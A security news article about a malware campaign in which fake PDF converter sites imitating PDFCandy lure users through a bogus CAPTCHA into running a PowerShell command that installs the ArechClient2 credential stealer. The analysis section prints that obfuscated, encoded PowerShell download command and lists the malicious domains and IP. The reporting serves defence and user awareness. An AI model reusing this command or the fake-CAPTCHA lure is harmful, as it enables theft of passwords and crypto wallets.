Beware of Online PDF Converters That Tricks Users to Install Password Stealing Malware

Cybercriminals have launched a sophisticated malware campaign leveraging fake PDF-to-DOCX converter websites that mimic the popular legitimate service PDFCandy. The malicious websites, including domains such as candyxpdf[.]com and candyconverterpdf[.]com, deploy an elaborate social engineering tactic designed to harvest sensitive information from unsuspecting users seeking to convert document formats. When users attempt to convert documents on […] The post Beware of Online PDF Converters That Tricks Users to Install Password Stealing Malware appeared first on Cyber Security News.

Apr 16, 2025 - 20:41

Beware of Online PDF Converters That Tricks Users to Install Password Stealing Malware

Cybercriminals have launched a sophisticated malware campaign leveraging fake PDF-to-DOCX converter websites that mimic the popular legitimate service PDFCandy.

The malicious websites, including domains such as candyxpdf[.]com and candyconverterpdf[.]com, deploy an elaborate social engineering tactic designed to harvest sensitive information from unsuspecting users seeking to convert document formats.

When users attempt to convert documents on these fraudulent platforms, they’re presented with a seemingly legitimate interface complete with animated loading sequences and familiar conversion options.

After uploading a file, victims encounter a fake CAPTCHA verification that instructs them to press Windows+R and paste a disguised PowerShell command. This command, when executed, initiates a sophisticated infection chain that ultimately deploys the ArechClient2 information stealer.

CloudSEK researchers identified that this malware is a variant of the dangerous SectopRAT family, which has been active since 2019.

Their analysis revealed the attack employs a multi-stage redirection process, connecting to domains like “bind-new-connect[.]click” before downloading a malicious “adobe.zip” payload hosted on IP address 172[.]86[.]115[.]43.

The impact of this attack is severe, as the malware is specifically designed to harvest browser credentials, cryptocurrency wallet information, and other sensitive data from compromised systems.

The infection demonstrates advanced evasion techniques, including the abuse of legitimate Windows utilities to bypass security controls.

Mindmap of the malware campaign (Source – Cloudsek)

Infection Mechanism Analysis

The core of this attack relies on an obfuscated PowerShell command that users unwittingly execute:-

powershell -win 1 -ep bypass -noni -enc KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgB1AHQALgBXAGUAYgBDAG8AYQBKAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8ΘΑΥQANACKAIAB8ACAASQBFAHgA

This encoded command initiates a web request to download the “adobe.zip” archive, which contains multiple files including the malicious “audiobit[.]exe” executable.

When executed, this file launches a legitimate Windows utility, MSBuild.exe, to load the ArechClient2 malware through a technique known as living-off-the-land.

The malware performs multiple suspicious actions including registry queries, system information discovery, and credential hunting.

The malware accesses the machine GUID, computer name, and checks supported languages before proceeding to harvest sensitive data including stored passwords and cryptocurrency wallet credentials.

Users are advised to employ only trusted file conversion tools from official sources and to remain vigilant about any website requesting command-line execution, regardless of how legitimate the interface appears.

Malware Trends Report Based on 15000 SOC Teams Incidents, Q1 2025 out!-> Get Your Free Copy

The post Beware of Online PDF Converters That Tricks Users to Install Password Stealing Malware appeared first on Cyber Security News.